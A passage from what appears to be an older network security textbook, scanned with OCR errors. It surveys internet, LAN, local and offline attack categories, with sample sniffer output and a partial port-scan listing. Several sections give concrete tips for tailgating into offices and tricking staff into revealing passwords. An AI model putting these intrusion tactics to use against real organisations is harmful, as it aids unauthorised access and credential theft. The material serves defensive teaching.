Passive attacks, on the other hand, are geared toward gathering
information as opposed to gaining access. This is not to say that active
attacks cannot gather information or that passive attacks cannot be used
to gain access—in most cases, the two types are used together to
compromise a site. Unfortunately, most passive attacks do not necessarily
involve traceable activity and therefore are much harder to detect.
Another way to look at it is that active attacks are easier to detect and
most companies are missing them; therefore, the chances of detecting a
passive attack are almost zero

Categories of Exploits

There are many different categories of exploits that an attacker can use to
attack a machine. As stated earlier, it is imperative to remember that an
attacker is going to use several different types of attacks and will always
look for the easiest way into a machine or network. In some cases,
systems are so open that an attacker can just launch one type of attack
and be successful. In other cases, he will have to launch several different
attacks to succeed. As we have stated, there are several different
categories of exploits, but we will only cover some of the more popular
ones, which follow:

e Over the Internet

« Over a LAN
o Locally

« Offline

o Theft

e Deception

Most of the time, an attacker uses techniques from several of these
categories to launch a successful attack. For example, he might do some
initial probing via the Internet and use that information to perform some
deception, which could be used to gain additional information. He might
steal some of the data that is encrypted and perform an offline attack. He
would then combine that information to gain root access and compromise
the host.

Over the Internet
This category of attack is what most people think of when they hear of

hackers breaking into machines. This is also what the media tends to
emphasize in terms of dangers posed to your system by hackers:
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teenagers in t-shirts, working in dark rooms at 2:00 a.m., compromising
systems via their dial-up connection.

The reason most people think of the Internet as a main means of
attacking a machine is that, at some point in an attack, most attackers
use the Internet. It is an ideal way to compromise a machine because
most companies have connectivity to the Internet. It is like saying that
most thieves use roads to break into a bank. There are other ways like
tunnels or parachuting, but most thieves use roads. The same is true of
the Internet. Today, you are almost guaranteed that any company of a
reasonable size is connected to the Internet, which provides an easy
method for compromising security. To make matters worse, even though
most companies are not working 24/7, their Internet connections and
machines are up all the time. This provides an easy mechanism for
attackers to break into systems while employees are home sleeping.

Attacks over the Internet involve compromising a machine by using the
Internet as the path into a remote host. Some of the more common over
the Internet attacks are the following:

o Coordinated attacks

o Session hijacking

e Spoofing

e Relaying

e Trojan horses or viruses

Coordinated Attacks

Since the Internet allows for worldwide connectivity, it makes it very easy
for people from all over the world to collaborate or participate in an
attack. With conventional crimes, people have to be in close proximity to
coordinate. It would make it very hard for three people who live in
different countries to walk into a bank and rob it in a coordinated fashion,
without two of the three people getting on an airplane. With the Internet,
people from all over the world can coordinate and perform an attack on a
bank with relative ease. If you can connect to the Internet, which virtually
anyone in the world can do, you can communicate and work with someone
as if they were next door or even in the same room.

In order for some exploits to be successful, hackers have to coordinate
with other users and machines on a network. Now, it is not the attacker
versus the victim’s machine, but the attacker and their 50 friends and (if
that doesn’t work) they can add another 50 friends. Remember the pool
the attacker has to pick from is the entire world. Finding a few hundred
people out of the millions that have computers is not a hard task.
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To make matters worse, we have been using the term friends, but they do
not have to be friends, for that matter they do not even need to know that
they are helping the attacker. What if an attacker tried to break into a
network each evening and when they were successful they installed a
program that they controlled. After breaking into 15 or 20 fairly large
companies, an attacker could then use those machines to coordinate
attacks against other networks. Chapter 6 covers Denial of Service and
distributed Denial of Service attacks, which are examples of coordinated
attacks. Programs such as Tribal Flood Network 2000 (TFN2K) are very
powerful programs that are easy to use for these types of attacks.

Session Hijacking

In some instances, it is easier to sneak in as a legitimate user, rather than
break into a system directly. The basic technique is called session
hijacking and it works by finding an established session and then taking
over that session after a legitimate user has gained access and
authentication. Once a user is logged on, an attacker can take over the
session and stay connected for several hours—plenty of time to gain
additional access or plant backdoors.

Session hijacking looks fairly simple on paper but is complicated to
implement for several reasons. One of the main reasons is that since an
attacker is taking over an existing session they must impersonate the
legitimate user. This means getting all the traffic that is routed to their IP
address to come to the hackers system. Chapter 5, “"Session Hijacking,”
addresses these types of attacks in detail.

Spoofing

Spoofing is a term that describes the act of impersonating or assuming an
identity that is not your own. In the case of Internet attacks, this identity
can be an email address, user ID, IP address, and so on. This becomes
important when an attacker is exploiting trust relationships. On many
systems, especially UNIX, multiple systems are usually setup with trust
relationships. The logic is that if a company has ten development boxes, it
is inefficient for a developer to have to logon to every single box with
different passwords in order to perform their job. A better way would be
to have the individual logon to one machine and have all of the other
machines trust each other. What this means is that if a user is
authenticated by one machine, every other machine that has a trust
relationship setup will automatically trust that user without having them
reauthenticate. From a functionality standpoint, this saves a lot of time.
From a security standpoint, if it is not setup correctly, it can be a
nightmare.

Spoofing can be considered as more of a passive attack than session
hijacking. With session hijacking, an attacker takes over an existing
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session and actively takes a user offline. With spoofing, an attacker takes
advantage of an implied trust relationship between people and/or
machines and fools them into trusting him. Chapter 4, “Spoofing,” looks at
various spoofing attacks in detail.

Relaying

In most cases, when an attacker breaks into a network or a machine and
launches various other attacks like email spoofing, they do not want the
attack to be traced back to them. This creates an interesting dilemma,
since the attacker now has to perform an attack using his computer
without anyone knowing it was him. There are several ways this can be
done, but a popular way is by relaying. Relaying is where an attacker
relays or bounces his traffic through a third party’s machine so the attack
looks like it came from the third party, not him. This creates an interesting
problem for the victim. How is the company supposed to take action if
they can never identify who the real attacker is? Now we are starting to
see why there is such a big problem and why attackers use these
techniques to hide their presence.

A popular type of relaying attack is email relaying. What this involves is
connecting to another individual’s email system and using their computer
to send email to someone else. To test if your system allows relaying, try
to connect to your mail server from an outside address and send an email
to a foreign email address. If you do not receive the following message,
your system allows relaying:

Server error: Can't send to ".". The server gives this reason:
"550 Relaying
is prohibited"

Trojan Horses or Viruses

Trojan horses can cause extensive damage due to the following quality
which they possess: they have both an overt and a covert function. The
overt function can be anything that the target victim would find
interesting. A perfect example is seen around the holiday season. People
send around the animated jpgs that have things like dancing reindeers.
Users cannot resist the urge to pass these on and open them on their own
machines. This becomes a problem when we bring the covert function into
the equation. The covert function is launched when the overt function is
being executed, so most users do not even know that it is happening.
They think they are running an entertaining file, and in reality they are
infecting their machine and their friends are doing the same. A common
use of Trojan horses is to install backdoors so that a user can get back
into the system at a later time.
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If you have a computer or have worked in the computer industry for at
least the last year, viruses should require no introduction. Computer
viruses are like human viruses, there goal is to infect as many hosts or
computers as possible. Once a computer becomes infected, it becomes a
carrier to infect other hosts. The impact from viruses can range from
annoying to extremely dangerous. Some emails will just pop-up a funny or
annoying message. Other viruses will delete entire hard drives and crash
systems. The most popular ones (at the time this book is being written)
are email viruses. These viruses are embedded within an attachment that
is sent with an email. When the recipient opens the attachment, it
launches the virus.

Over the LAN

Let’s move a little closer and look at attacks that occur over a LAN, which
are usually more detrimental because most companies’ security is set up
in @ way that it assumes that those with local access to the LAN, such as
employees, can be trusted. This is dangerous for two reasons. First, a
large number of attacks come from trusted insiders. Second, attackers
can gain access to the LAN by breaking into a legitimate user’s account
and gain the full access that a normal employee would have.

The following are some of the more popular types of attacks that occur
over the LAN:

« Sniffing traffic

e Broadcasts

o File access

« Remote control

« Application hijacking

Sniffing Traffic

Sniffing traffic is a passive attack that involves watching all of the traffic
that occurs on a network. Since it is a passive attack, some people
overlook it saying that an attacker cannot do any damage to their
network. This statement is not true. Yes, attackers cannot perform a
Denial of Service attack or actively break into a machine, but they can find
information that would make it much easier to gain access at a later date.
Also, from a corporate espionage standpoint, someone can gain access to
extremely sensitive files, which a company would have a hard time
detecting. The following is sample output from a sniffer showing a telnet
session:

12:13:33.589483 eth0 < 10.10.68.46.1796 > 10.10.68.48.telnet:
S
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1098578111:1098578111(0) win 8192 <mss 1460, nop,nop, sackOK>

(DF)

12:13:33.589520 eth0 > 10.10.68.48.

S

telnet > 10.10.68.46.1796:

3284521971:3284521971 (0) ack 1098578112 win 32120 <mss

1460,nop,nop,sackOK> (DF)

12:13:33.589669 eth0 < 10.10.68.46.

1:1(0) ack 1 win
8760 (DF)

12:13:33.596538 eth0 > 10.10.68.48.

59374+ PTR?
46.68.246.208.1in-addr.arpa. (44)

12:13:33.597906 eth0 > 10.10.68.48.

59779+ PTR?
48.68.246.208.1in-addr.arpa. (44)

12:13:33.609942 eth0 < 10.10.68.97.

59374 NXDomain*
0/1/0 (127)

12:13:33.610094 eth0 < 10.10.68.97.

59779 NXDomain*
0/1/0 (127)

12:13:33.610320 eth0 > 10.10.68.48.

P 1:13(12) ack 1 win
32120 (DF)

12:13:33.610604 eth0 > 10.10.68.48.

59780+ PTR?
46.68.246.208.1in-addr.arpa. (44)

12:13:33.617198 eth0 < 10.10.68.97.

59780 NXDomain*
0/1/0 (127)

12:13:33.617493 eth0 > 10.10.68.48.

59781+ PTR?
97.68.246.208.1in-addr.arpa. (44)

12:13:33.624328 eth0 < 10.10.68.97.

59781 NXDomain*
0/1/0 (127)

12:13:33.624585 eth0 < 10.10.68.46.

P 1:4(3) ack 13 win
8748 (DF)

12:13:33.624617 eth0 > 10.10.68.48.

13:13(0) ack 4 win
32120 (DF)

12:13:33.624733 eth0 < 10.10.68.46.

P 4:13(9) ack 13 win
8748 (DF)

12:13:33.624768 eth0 > 10.10.68.48.

P 13:19(6) ack 13
win 32120 (DF)

12:13:33.634547 eth0 < 10.10.68.46.

P 13:23(10) ack 19

1796 > 10.10.68.48.telnet:

1026 > 10.10.68.97.domain:

1027 > 10.10.68.97.domain:

domain > 10.10.68.48.1026:

domain > 10.10.68.48.1027:

telnet > 10.10.68.46.1796:

1027 > 10.10.68.97.domain:

domain > 10.10.68.48.1027:

1027 > 10.10.68.97.domain:

domain > 10.10.68.48.1027:

1796 > 10.10.68.48.telnet:

telnet > 10.10.68.46.1796:

1796 > 10.10.68.48.telnet:

telnet > 10.10.68.46.1796:

1796 > 10.10.68.48.telnet:
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win 8742 (DF)

12:13:33.634842 eth0 > 10.10.68.48.telnet > 10.10.68.46.1796:

P 19:34(15) ack 23

win 32120 (DF)

12:13:33.638553 eth0 < 10.10.68.46.1796 > 10.10.68.48.telnet:

P 23:26(3) ack 34

win 8727 (DF)

12:13:33.646469 eth0 > 10.10.68.48.telnet > 10.10.68.46.1796:
34:34(0) ack 26

win 32120 (DF)

12:13:33.646590 eth0 < 10.10.68.46.1796 > 10.10.68.48.telnet:

P 26:38(12) ack 34

win 8727 (DF)

12:13:33.646816 eth0 > 10.10.68.48.telnet > 10.10.68.46.1796:

P 34:109(75) ack 38

win 32120 (DF)

12:13:33.654531 eth0 < 10.10.68.46.1796 > 10.10.68.48.telnet:

P 38:41(3) ack 109

win 8652 (DF)

12:13:33.654555 eth0 > 10.10.68.48.telnet > 10.10.68.46.1796:

P 109:116(7) ack 41

win 32120 (DF)

12:13:33.654672 eth0 < 10.10.68.46.1796 > 10.10.68.48.telnet:

P 41:44(3) ack 116

win 8645 (DF)

12:13:33.656454 eth0 > 10.10.68.48.telnet > 10.10.68.46.1796:
116:116(0) ack 44

win 32120 (DF)

It is important to point on that sniffing will only work on a network if the
company is using a hub network. When connecting machines to a network
a company basically has two options, they can either use a hub or a
switch. A hub is older technology and works by receiving a packet from
the sender and sending it to all machines connected to the hub. The
recipient will receive the packet and process it, but all of the other
machines on the network also receive it. For normal operations, a machine
would look at the packet, realize it is not for them and drop it, but since
each machine receives the packet there is opportunity for abuse if a
network card is put in promiscuous mode.

A switch is a newer technology which is a little smarter than a hub. A
switch determines what machines are connected to each port and will only
send the packet to the recipient. This is good not only from a security
standpoint, but from a bandwidth standpoint. It is good from a security
standpoint since now, if a machine is sniffing the network, it will only see
the packets that are sent from that machine or destined for that machine.
Using switches increases the security, but with programs like Dsniff, an
attacker can still potentially sniff the traffic. Dsniff will be covered later in
the book.
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From a bandwidth standpoint a switch has the potential to increase
bandwidth since machines A and B are communicating and machines C
and D have a separate communication, they can occur simultaneously.
With the hub, every packet is sent to everyone so this does not work. If
someone is using the network, no one else is able to.

Since most people do not encrypt traffic and they send sensitive
information via the network or especially email, there are large amounts
of information an attacker can pull off the network. One possible way to
use a sniffer is to embed it with a Trojan horse program. The user would
open this neat program to play a game and it would install a sniffer on
their computer, which would send back all traffic to the attacker.

When I perform security assessments, one of the things I do is install a
sniffer to see the impact this attack could have to a company. You would
be amazed at the things that I find. I have captured user ids, passwords,
sensitive files, proposals and even a couple of good recipes for banana
foster. The point is, even if you have a switched environment you should
encrypt any sensitive traffic on your network. It is just not worth the risk
to do otherwise.

It is important to point out that even if you have a switched environment
someone can still sniff the network. It is just a little harder since they
need physical access to the machines. Most switches have a port that you
can plug into which allows the machine to see all traffic. If someone can
get access to the switch they can sniff the traffic (yet another reason for
physical security).

In order for a network card to receive all traffic it has to be switched to a
different mode, otherwise it drops packets not destined for the machine.
Promiscuous mode is the mode that will allow the network card to receive
all packets that are being sent on the network segment. In order to switch
to this mode, you must install a driver for the network card. On a
Windows machine clicking on the network icon, which is located under
control panel, will allow you to do this.
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Network AntiSniff

One question that most people ask is "How can I tell if a machine
is in promiscuous mode?” Well, if you have physical access to the
machine you could look at the settings for the network card. Over
a network it is more difficult, but all is not lost thanks to the 10pht
web site. www.l0Opht.com has a program called AntiSniff that you
can run to determine if a specified machine or group of machines
have their network card in promiscuous mode. According to the
website, “"AntiSniff performs 3 classes of tests: operating system
specific tests, DNS tests, and network latency tests.” All of the
tests may be run together to give a high degree of certainty as to
whether or not a computer is packet sniffing.

Anti-sniff is a great program, but it is important to realize that it is
not 100 percent accurate. Based on the information it has
gathered, it makes a best guess on whether the network interface
card is sniffing traffic or not. Just by nature of how networks work,
a machine could be in promiscuous mode and not be detected.

Broadcasts

All machines that are connected to the same network segment have to
have the same network number. This is how TCP/IP works. Every IP
address that is assigned to a machine has a network and a host portion.
The network portion must be the same for all machines on the same
network and the host portion must be unique for each host. For example,
if the IP address is 25.10.5.50 and the subnet mask is 255.255.0.0, then
the network number would be 25.10 and the unique host number would
be 5.50. Therefore, any other machine on this network segment would
have to start with 25.10. This scenario is similar to houses; any two
houses on the same block must have the same street address but must
also have different house numbers.

Normally, packets are sent to a single address, but there are times when
packets want to be sent to all of the addresses on a network segment.
One way to do this is to send a packet and put in the address of every
machine on the segment. Except for very small segments, this is not
practical. To overcome this, there is a property of TCP/IP called the
broadcast address, which will send a packet to every machine on the
network segment. Setting the host portion to all 1s or the broadcast
address does this. Each octet in an IP address contains 8 bits, so in the
previous example if we sent the host portion to all 1s we would get the
following in binary: 11111111.11111111 which converted to decimal
would give you 255.255. If we combined this with the network portion we
would get 25.10.255.255, which represents the broadcast address for that
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network segment. If a packet is sent to that address it goes to every
single machine on that segment. If there are only 10 machines, it is
probably not that big of a deal, but what if there are 60,000 machines?
That could generate a lot of traffic and cause numerous problems. This is
actually a common type of attack where an attacker sends a single packet
to a broadcast address with the goal of generating so much traffic that it
causes a Denial of Service attack against the network. If proper filtering is
not applied at a company’s firewall or routers, this attack could also be
performed via the Internet, but this is primarily performed on a LAN.

File Access

In most companies, passwords are the first and only line of defense
against attacks. However, since most companies do not have proper
access control lists which limit who can access what, if an attacker gains
access (which is usually done through finding a user ID and password)
they have all of the files on a network.

A common remark that I hear companies make is “"we do not have any
sensitive files and we do not care if anyone gains access to them.” A few
years ago, I was performing an assessment for a company and I was in
the briefing, discussing the results with the CEO, COO, and several other
executives. I started by telling them how vulnerable they were; that
people could access their files from the Internet; and that most of their
passwords were guessable. The CEO’s comment was “so what?” He said
that he did not care if the whole world had access to their data. I almost
fell off my chair from the pure naiveté of this CEO. I quickly realized that
no matter what I said at that point, the CEO did not care, so I decided to
go back and put together some scenarios for him. A week later we went in
and presented the following scenarios:

o Attackers broke into your systems and used them to compromise
several systems at the Pentagon and it was traced back to your
company and you were held liable.

« Front page of the Washington Post states that this company was
successfully broken into and shows all of the sensitive files that were
found.

o A competitor broke into their systems and accessed their proposal
directory (yes, it was actually named this and accessible from the
Internet) and started underbidding them and they lost several major
contracts.

After this second briefing, the CEO grasped the extent of the problems
and had a majority of them corrected immediately. In this example, the
problem was that the CEO who owned the company just wanted to sell the
company and did not want to spend any money. When we showed him
that if he went out of business, there would be no company to sell, he
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quickly changed his tune. The bottom line is, whether you realize it or not,
if you are in business, you have sensitive information that needs to be
protected from hostile file access.

Remote Control

If I want to gain access to a sensitive system I basically have two options:
I can either gain physical access to the machine, or I can remotely control
it over a network. Remotely controlling a machine involves controlling the
machine over a network as if you were sitting at the machine. Later in this
book, when we talk in detail about backdoors and Trojans, you will see
examples of programs that will allow you to do this. One example is Back
Orifice, which once it is installed on a machine will let you have full access
to that machine. If proper filtering is not performed you can remotely
control a machine over the Internet and, due to poor security, this is
possible in many companies.

Application Hijacking

Application hijacking is similar in concept to session hijacking, which
involves taking over an application and gaining unauthorized access. In
many cases, if you can gain access to an application, you can access all
the data that it has access to. In cases like word processors or
spreadsheets it might not be that big a deal, but think about larger
corporate applications like billing or HR systems. If an attacker can gain
access to a billing system, they can acquire a lot of sensitive information
about the company.

This is an area that a lot of companies miss. They worry about putting in
firewalls and they are aware of their network security threats, but they
totally ignore their applications. Especially from a corporate or business
office standpoint, applications provide the gateway into a company’s most
sensitive data. If you do not protect and properly secure these
applications, all of the firewalls in the world will not help you.

Locally

If an attacker can gain local access to a computer or component of the
network, he can cause the most damage. Depending on the size and
weight of the component, one type of damage an attacker can cause is to
steal the equipment (see the following sidebar, “Theft of Laptop
Computers”). In this section, we will concentrate on attacks that require
local access to the computer, but do not require the attacker to remove
the equipment. The following are the types of local attacks:

o Shoulder surfing
e Unlocked terminals
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o Written passwords
e Unplugging machines
e Local logon

Shoulder Surfing

Shoulder surfing is probably one of the most basic types of attacks, yet is
extremely effective if you have physical access to a facility or a person
with access. It involves looking over the shoulder or watching someone as
they type in their password, with the goal of acquiring their password. If
you make it extremely obvious that you are watching someone it probably
will not work, but if you just look around for opportunities, there are
plenty available to gather someone’s password. I had a friend that went to
a bank to open a new account and as he was talking with the bank
employee, they typed their password right in front of him. It would have
been trivial for him to watch and record the password if he wanted to.
Instead, he informed the person of their lack of security and they thanked
him dearly. They were so happy with this new knowledge that they gave
him a free account with a starting balance of $1,000 since he saved the
bank so much money. Wouldn't it be nice if the real world actually worked
this way?

One of the tasks performed during an authorized security assessment is to
see how vulnerable a company is to shoulder surfing. In order to do this
you usually have to compromise physical security, which is a relatively
elementary task at most companies. A simple example is to try to gain
access between the hours of 8:00 a.m. and 9:00 a.m., when a lot of
people are coming in to work. If you perform this in the winter when you
need a coat and carry a box that appears to be heavy, you can get
someone to let you in 9 times out of 10. In addition, most companies have
employees that smoke and in most cases, they have to smoke outside. To
facilitate this, they usually smoke in the back area of a building and prop a
door opened so that they can get back in. If you can locate such an area
you can easily gain access.

Now that we are in the building, we want to watch people type in
passwords. This is very simple in a cubicle environment and a lot harder in
an office layout. Even in an office environment, the administrative
assistants usually have a cube or an open setting and they most likely will
have more access than anyone in the company, as they maintain the
passwords for the executive they work for. Also, since some people use
screen savers with passwords, and since most people use the same
password for the screen saver as they do for their network password this
is another opportunity. Follow someone back to their desk and ask them
for information that would require the computer. They will say one minute
and as they type their password you can record it. If they do not have a
screen saver password, when they step away from their desk you can turn
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this feature on and if you are using NT it will automatically use the same
password they do for login. If they question it, you can just say that it
probably went into “timeout” mode but trust me, most people will not
questions it. Then you tell them that they just have to type in their
password to unlock the screen and you are all set. Also, most people say
their password silently when they type it so if you are good at reading
lips, you can also watch their mouth as they type their password.

Unlocked Terminals

Most people come to work in the morning, log on at the start of the day,
and log off at the end of the day. Unfortunately, they are not at their desk
every second of the day. They go to meetings, lunch and the restroom
and therefore their computer is left unattended but logged into the
network. If someone can gain access to the computer, they have
whatever the user has access to. So someone could sit down and access
sensitive data or send emails as if they came from the user. If an attacker
is really smart, they could install a backdoor program so that they could
regain access to the machine remotely. Or they could install a sniffer or
packet capture program and then come back in a day or two and retrieve
the results. This information would provide passwords, sensitive data and
large quantities of other useful information.

Since we have seen that gaining physical access to a facility is fairly easy,
combining that with the threat of an unlocked terminal provides a huge
vulnerability that someone can use to exploit a network. I have performed
tests at companies and on an average day more than 70 percent of the
users have their computers accessible and unlocked for more than an hour
at any given time. Even in the hands of an unsophisticated attacker, 60
minutes is a long time to have unauthorized and unsupervised access to a
network. I should also point out that this is an area that users get very
defensive over. When I performed internal security at a large company,
we performed periodic checks to make sure people were locking their
terminals (because it was in the security policy). People that did not
adhere to this policy got very arrogant when we let them know, or left a
warning on their computer. One person even cursed at me and threatened
my life—which is always fun. Thus another good reason to have bullet
proof vests and stun guns in the security budget. In these types of cases
it is also a good idea to have a relationship with human resources so that
they can address the situation.

Written Passwords

With shoulder surfing you have to try and extract the password from the
user as they type it in, but in some cases there is an easier way. A large
number of people write their password just in case they forget it. They
usually do it right after they create a new password. A couple of days later
when they remember the new password and no longer need the reminder,
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they forget to destroy it. Most people that do this either keep it on their
phone or monitor with a post it pad. Yes, nothing is more exciting or
frustrating (depending which side of the fence your are on), to sit down at
a computer and see the password right there in front of you.

If a normal user writes down their password, that is bad, but what is even
worse is when an administrator does it. I have seen a large number of
administrators write down their password. The reason is threefold. First,
administrators usually have to remember several passwords for the
various systems that they work on. The more passwords you have to
remember, the harder it is. Second, administrators only periodically use
these passwords. The less you use a password, the harder it is to
remember. Third, with administrator passwords, the stakes are much
higher. If you have not used a password in two weeks and the network
goes down and you have to bring the system back up, it is not the time to
forget a password. You add stress into the equation and most
administrators write down their passwords not only ensure that they will
remember them, but to make sure they have a job too. In IT, the quickest
way to lose your job is to be locked out of a system because you do not
remember your password. Trust me, if this happens, security will be
blamed for making people have passwords in the first place.

At one company I worked for, one of the major systems crashed and we
needed to logon as the administrator to rebuild it and bring it back up.
One problem, the person that built the system no longer worked at the
company and the person responsible for it was on vacation for two weeks
and was out of contact. It’s funny, but most IT people tend to go on
vacation to places where cell phones do not work and there are no dial-up
connections. Now it was 1:00 a.m. and without the password we would
have to rebuild the entire system, but with the password it would be up
and running in 10 minutes. I went to the administrator’s desk and there
were no visible passwords written down. So I started feeling under the
desk and pulled off several post-it notes and bingo, there were the
passwords for all of the systems the administrator maintained, including
the one we needed. Being the security administrator I now had a
dilemma. On the one hand, I wanted to take action against the individual
for not adhering to the security policy and writing down his password, but
on the other hand, we would have been in a lot of trouble if he had not.

Unplugging Machines

Computers and networking components tend to work the best when they
are plugged into electricity and plugged into the network. If someone
either accidentally or purposely unplugs a machine, they can cause a
denial of service attack against a computer. If a computer is off, people
cannot access it. Think of the impact if, on a Friday, someone accidentally
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unplugs the web server and no one notices until Monday morning, leaving
the site inaccessible for the entire weekend.

In most cases that I have seen where machines have been unplugged, it
was done accidentally. In one case, someone was putting in a new
machine and all of the plugs were full. So they just unplugged another
machine to make room for the machine they were installing and did this
without checking with anyone. Talk about risky. In my opinion, people like
that are too risky and should not work in IT. In another case, the power
cable was not long enough so they lifted the power strip up so that it
would reach, which meant the power supply was suspended in the air.
Someone was in a rush accidental tripped over it, unplugged it, did not
realize what they did, and kept on going. Accidents happen and are
unavoidable in some cases, but can definitely be minimized with proper
planning. Especially in a data center where uptime is extremely critical,
extra planning should be done to minimize the impact that accidents and
attacks have on an operation.

Local Logon

The ultimate goal of most attackers is to gain access to a machine.
Remote access is good, but local access is even better. Some systems are
configured so that only certain functions can be performed locally. Also, by
gaining local access, an attacker can more easily download large amounts
of data. If they do not have a secondary storage device installed, an
attacker can quickly and easily install an Iomega Zip or Jazz drive which
would allow them to copy large amounts of data. Restricting local access
and watching the system logs for local logons can go a long way to
securing your systems.
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Theft of Laptop Computers

Attackers commonly steal laptop computers, which allow high
levels of access to sensitive information. Recently, a list was
floating around some of the underground web sites that offered
large sums of cash to anyone who could steal the laptop of one the
executives who was named on the list. This list contained names of
executives from most of the large Fortune 100 companies within
the United States. Think about it: Current laptops contain at least
8-gigabyte hard drives, if not larger, which can contain large
amounts of information. What normally would take a thief boxes of
data to steal can now fit in a briefcase. I know some executives of
one particular company who, when they travel, they copy the
contents of the file server to their laptop. This enables any and all
possible documents to be at their disposal. To some, the
justifications for this are quite high, however from a security
standpoint, downloading all of your files onto a laptop is a security
nightmare.

In addition to the data that is on a laptop, laptops usually contain
remote access information and possible passwords. Most people
that have laptops use them to dial up remotely to their company’s
network. The information needed to dial up and the user ID and
password are stored on the computer to make it easier for the
user to access his company’s network. In this case, an attacker
just double-clicks on the dial-up icon and he is given full access to
the network, because the password is stored on the computer for
the sake of convenience.

Offline

Most attacks that occur on a network are detectable if a company is

watching, but with certain types of attacks, there is no way to know that
the actual attack is being performed. In these cases, the only way that a

company can determine that these attacks are taking place is by detecting
them when the attacker is acquiring the data he needs for the attack. If a

company fails to notice the fact that the data was acquired, it will be
compromised because the attack is done offline while there is no

connection to the network. Therefore, it is important that a company
detect these attacks while the online portion is being performed. The

following are the general types of offline attacks:
« Download password files

« Download encrypted text
« Copying large amounts of data
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Download Password File

Based on its importance, we dedicate an entire section of the book
(Chapters 10 12) to password cracking. So in this section, we will
concentrate on acquiring the file and not what an attacker does once he
gets it. Ultimately, an attacker wants to get as many ways in and out of
the system as possible. The best way to do this is to acquire everyone’s
password. The easiest way to do this is to download or capture a copy of
the encrypted password file and to crack it off-line.

Depending on the operating system and configuration, there are various
ways that someone can acquire a password file. The trick is if an attacker
is persistent and creative, they will eventually find a way to get the
password file. Most companies have a very liberal policy with changing
passwords, and either have passwords that do not expire or that expire
every six months. This means that even if it takes an attacker one month
to acquire the file and one month to crack it, they still have three to four
months of access to the network before the user has to change it again.
Even if an attacker only has one week of access to the network, that will
give him enough time to install enough back doors so that he can get back
in at a later time. The key rule with passwords is that a company’s
password policy should be set so that the password change interval is less
than the time it takes to brute force a password file.

Download Encrypted Text

Since passwords are encrypted when they are downloaded and cracked
off-line, downloading password files is a subset of downloading encrypted
text. What most people do not realize when they use encryption is that all
encryption is breakable; it is just a matter of time. What keeps an
encrypted message secure is the secrecy of the key that is used to
decrypt the message, not the encryption algorithm that has been used. In
most cases, the encryption algorithm is public knowledge. For example,
everyone knows the algorithm that UNIX and Microsoft operating systems
use to secure passwords. Since an attacker would know the algorithm but
not the key, they could technically cycle through every single possible
combination and eventually find the key. This is known as a brute force
attack and what is interesting about these types of attacks is that they are
always successful. It could take 400 years, but it will eventually be
successful.

Since all encryption can eventually be broken, the goal is to make it much
more difficult for someone to attempt it in the first place. As you can
imagine, the larger the key, the longer it will take. If you only have a 4-
character key, you can cycle through all possible combinations in a very
short period of time. On the other hand, if you had a key of 2 million
characters it would take a lot longer. The general rule I like to use is that
the key length should be long enough that by the time someone can brute
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force the key, the usefulness of the information has expired. You have to
remember that as computers get faster, this timeline gets accelerated.
What would have taken over a 100 years to crack 10 years ago can now
be cracked in less than a month.

For example, if we are encrypting data that will be used for an attack that
we are going to launch tomorrow, we do not care if someone can crack
the message in 6 months. On the other hand, if we are developing a new
project that will take 10 years to get to market, we want to make sure
that we use very strong encryption. Once again, the thing to remember is
that once an attacker gets an encrypted file, the game is over. They will
be cracking it from the comfort of their own home and you will have know
way of knowing that this is occurring. By using my home computer, it
might take 5 years to break some encryption. What if I break it into
several pieces and distribute it across 500 computers on the Internet and
have each of them do a piece? I have now decreased my time
tremendously.

Copying Large Amounts of Data

With this type of attack, someone copies large amounts of data to a
removable drive in a very short period of time and then they go through
the data off-line and look for the important information. If I know that an
administrator goes to lunch from 11:30 to 12:30 every day, I could
connect a removable media device (if they do not have one already) and
copy 2GB worth of data to a removable Jazz disk that fits in my coat
pocket. Then, at home, I can spend 8 hours looking for the exact
document that I want. Why would an attacker waste time online looking
for documents where their exposure is high and it is easy for them to get
caught? It is easier to copy everything and sort through it later.

Routes Attackers Use to Get In

Now that we have taken a detailed look at the various categories of
exploits, we will look into what can be exploited. In addition to the types
of exploits, it is important that you understand what can be exploited,
because this will show you the weaknesses in your systems and what you
need to do to protect against them. If you do not fully understand what
can be exploited, you might be missing a huge vulnerability that an
attacker can use to compromise your system. The main reason networks
that have security and houses that have alarms get broken into is because
they protect the wrong things or concentrate their efforts in the wrong
area—in other words, they do not fully understand all points of exposure.

The following example illustrates this: There was a house in Beverly Hills

that was known to contain a very expensive art collection. To protect the
art, the owner installed a very advanced security alarm system. It had
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motion detectors and sensors on all the windows and doors. There weren't
any specific alarms on the art itself because the owners figured a thief
would have to get into the house to take the art and all of the alarms
would detect that. It was also known (because this art was featured in a
lot of magazines) that most of the art was on one wall between two
windows. Well, some low-tech thieves were pretty creative. They went in
with a chain saw, cut a hole in the wall, and pulled the wall out, causing it
to fall onto the lawn. Then, they took the art off the wall and left. If the
owners had realized that cutting the wall was a way that thieves could
exploit the system, they could have had the alarm system run differently
so that they would have been protected against it; because they did not,
they became victims. Not only is this story true, but it is one of the
reasons why I like going to Los Angeles and reading the local paper—I get
great security stories.

You now have an appreciation for understanding what can be exploited, so
let’s take a look at the common things that can be exploited on a network:

« Ports

« Services

o Third-party software
« Passwords

« Back doors

o Trojan horses

« Inference channels
« Covert channels

What can be exploited? Anything and everything. If an attacker is
creative, he can find a way into a system. We will address the more
common things an attacker exploits and how he gets into systems.

Ports

If a burglar was going to break into a house, he would usually break in
through a window or door because it is an easy point of access. Why
break in through a brick wall when you can jimmy a window open and
climb in? Ports are the windows and doors of a computer system. There
are literally thousands of different ports that can be open on a system.
Actually, ports range in value from 1 to 65,535 for TCP and 1 to 65,535
for UDP. Because TCP and UDP use different ports, there are more than
100,000 different ports that can be open on a machine. The more ports
that are open, the more points of vulnerability into a system. For a
complete list of all of the ports and the protocols assigned to each, look at
RFC1700. RFC’s can be downloaded from various sites including:
http://www.rfc-editor.org/. Some of the more common ones are the
following:
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e 21. FTP (File Transfer Protocol)

23. Telnet

25. SMTP (Simple Mail Transfer Protocol)
53. DNS (Domain Name Server)

79. Finger

80. HTTP (Hypertext Transfer Protocol)
110. POP (Post Office Protocol)

« 137-139. NETBIOS

I highly recommend that you run a port scanner on your system so that
you know what ports are open and what your points of vulnerability are.
You do not know how many times I have run a port scanner on a system
that the client has told me only has port 25 open, yet there are eight
other ports open. Figure 2.2 is the output from running a port scanner on
a Windows machine.

Figure 2.2. Output from running ScanPort, a port scanner for Windows.

The following is the output from running a port scanner on a UNIX
machine, using nmap:

Starting nmap V. 2.53 by fyodor@insecure.org (
WWw.linsecure.org/nmap/ )

Interesting ports on (10.10.68.39):

